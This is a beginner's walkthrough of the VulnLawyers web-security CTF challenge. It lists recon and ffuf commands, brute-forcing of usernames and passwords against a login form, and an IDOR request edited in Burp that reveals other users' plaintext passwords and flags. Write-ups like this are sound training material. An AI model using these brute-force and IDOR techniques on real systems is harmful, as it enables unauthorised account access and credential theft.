Ctfchallenge.co.uk | VulnLawyers
This writeup will detail the steps I took to complete the Vulnlawyers challenge on www.ctfchallenge.co.uk. The following post is for my own notekeeping and I am very much at the start of my Web App Security journey, so buckle up and hopefully you can learn from my many mistakes.
All resources required to complete this challenge are detailed on the website under the VulnBegin and Dojo sections.
For my initial reconnaissance and enumeration I used dnsrecon, Sublist3r, dirfinder, cert.sh and ffuf. I always leave brute-forcing until last as I like to try and find as much information as I can as quietly as possible. I just think it’s best practice to do it that way to avoid detection in the real world. This challenge however had me diving straight into ffuf as I wasn’t able to yield any results from passive recon and I feel like this challenge in-particular relied heavily on brute-force techniques.
Tool: Dnsrecon
Command: dnsrecon -n 8.8.8.8 -d vulnlawyers.co.uk
Results: NoneTool: sublist3r
Command: sublist3r -d vulnlawyers.co.uk
Results: NoneTool: dirfinder
Command: python3 dirfinder.py -cookie=UNIQUE-COOKIE -d vulnlawyers.co.uk
Results: None
Because the above tools didn’t identify much information, I went into ffuf.
Command: $ffuf -b “ctfchallenge=UNIQUE-COOKIE” -w common.txt -u http://vulnlawyers.co.uk/FUZZ
Results:
css [Status: 301, Size: 194, Words: 7, Lines: 8]
denied [Status: 401, Size: 1020, Words: 178, Lines: 30]
images [Status: 301, Size: 194, Words: 7, Lines: 8]
js [Status: 301, Size: 194, Words: 7, Lines: 8]
login [Status: 302, Size: 1119, Words: 197, Lines: 31]
There are two directories above that look interesting, /login and /denied. I know the others won’t be of much use as they’re only 194 bytes in size, and are likely just pages required to host specific web based files. I checked them out anyway found nothing.
Browsing to http://vulnlawyers.co.uk/login instantly redirects to me to http://vulnlawyers.co.uk/denied and gives a message stating that I “Cannot log in from this IP address”, so clearly that’s not going to be much use. There’s bound to be data here somewhere though, so let’s try curling to see if we can identify some kind of invalid forwarding, due to the fact that we’re redirected from /login to /denied.
Command: curl -H “Cookie: UNIQUE-COOKIE” http://vulnlawyers.co.uk/login
Here we find our first flag:
Not only do we get our first flag but we see a href to another login portal:
<a href=/lawyers-only”>/lawyers-only</a></p>
Visiting http://vulnlawyers.co.uk/lawyers-only gives us another login panel that isn’t blocking us. Let’s try brute forcing the username field to find a valid logon:
Tool: ffuf
Command: ffuf -X POST -w namelist.txt -b “ctfchallenge=UNIQUE-COOKIE” -d “email=FUZZ&password=test” -H ‘Content-Type: application/x-www-form-urlencoded’ -u http://vulnlawyers.co.uk/lawyers-only-login
Results: None
No luck finding a valid username with fuff, and we’re currently not even sure what the naming convention is so I think we need some more content discovery as I’m not convinced we’ve found everything. There must be some place we can grab some users from.
We’ll try a brute force with dnsrecon:
Tool: dnsrecon
Command: dnsrecon -d http://vulnlawyers.co.uk -w namelist.txt -t brt
Results: data.vulnlawyers.co.uk: A : 67.207.71.104
Visiting http://data.vulnlawyers.co.uk takes us to an API page, which gives us an API version number and a flag.
So let’s once again fuzz our new domain:
Tool: ffuf
Command: $ffuf -b “ctfchallenge=UNIQUE-COOKIE” -w /home/user/wordlists/common.txt -u http://data.vulnlawyers.co.uk/FUZZ
Results: users [Status: 200]
Visiting http://data.vulnlawyers.co.uk/users gives us a flag a confirmation of naming convention alongside a few usernames we can brute force:
users
0
name “Yusef Mcclain”
email “yusef.mcclain@vulnlawyers.co.uk”
1
name “Shayne Cairns”
email “shayne.cairns@vulnlawyers.co.uk”
2
name “Eisa Evans”
email “eisa.evans@vulnlawyers.co.uk”
3
name “Jaskaran Lowe”
email “jaskaran.lowe@vulnlawyers.co.uk”
4
name “Marsha Blankenship”
email “marsha.blankenship@vulnlawyers.co.uk”
flag “[^FLAG25032EB0D322F7330182507FBAA1A55F^FLAG^]”
Now we have a valid list of Lawyer logins we can try brute forcing again and hopefully find ourselves a login.
Tool: ffuf
Command: $ffuf -X POST -w 10-million-password-list-top-10000.txt -b “ctfchallenge=UNIQUE-COOKIE” -d “email=*firstname.lastname*@vulnlawyers.co.uk&password=FUZZ” -H ‘Content-Type: application/x-www-form-urlencoded’ -u http://vulnlawyers.co.uk/lawyers-only-login -mc all -fc 200
Results: jaskaran.lowe@vulnlawyers.co.uk:summer
Now we can login to the portal:
http://data.vulnlawyers.co.uk/lawyers-only-login
Once we’re in we are presented with a flag and the managers profile details:
It says that changes can only be performed by Shayne Cairns, so we need to get his creds. Let’s see if the page is vulnerable to IDOR.
In burp, we can see that when we refresh the page, a GET request goes to:
GET /lawyers-only-profile-details/4 HTTP/1.1
This gives us:
“id”:4,”name”:”Jaskaran Lowe”,”email”:”jaskaran.lowe@vulnlawyers.co.uk”,”password”:”summer”
We send that GET request to repeater and change the link to:
GET /lawyers-only-profile-details/1 HTTP/1:
This gives us:
“id”:1,”name”:”Yusef Mcclain”,”email”:”yusef.mcclain@vulnlawyers.co.uk”,”password”:”Rk@c7#U3@2r%0f”
And again:
GET /lawyers-only-profile-details/2 HTTP/:
“id”:2,”name”:”Shayne Cairns”,”email”:”shayne.cairns@vulnlawyers.co.uk”,”password”:”q2V944a1³p”,”flag”:”[^FLAG⁹³⁸F5DC109A1E9B4FF3E3E92D29A56B3^FLAG^]
And again:
GET /lawyers-only-profile-details/3 HTTP/:
“id”:3,”name”:”Eisa Evans”,”email”:”eisa.evans@vulnlawyers.co.uk”,”password”:”Sn06#ibx@lGPG7"
We can see that when we sent our request to profile 2 that we got the managers profile, including his creds and a flag — this is our second from last flag! one more to go.
Let’s now try and log in as the manager, shayne.cairns@vulnlawyers.co.uk.
We see our homepage with a “delete case” button which once clicked gives us the final flag:
VulnLawyers complete.
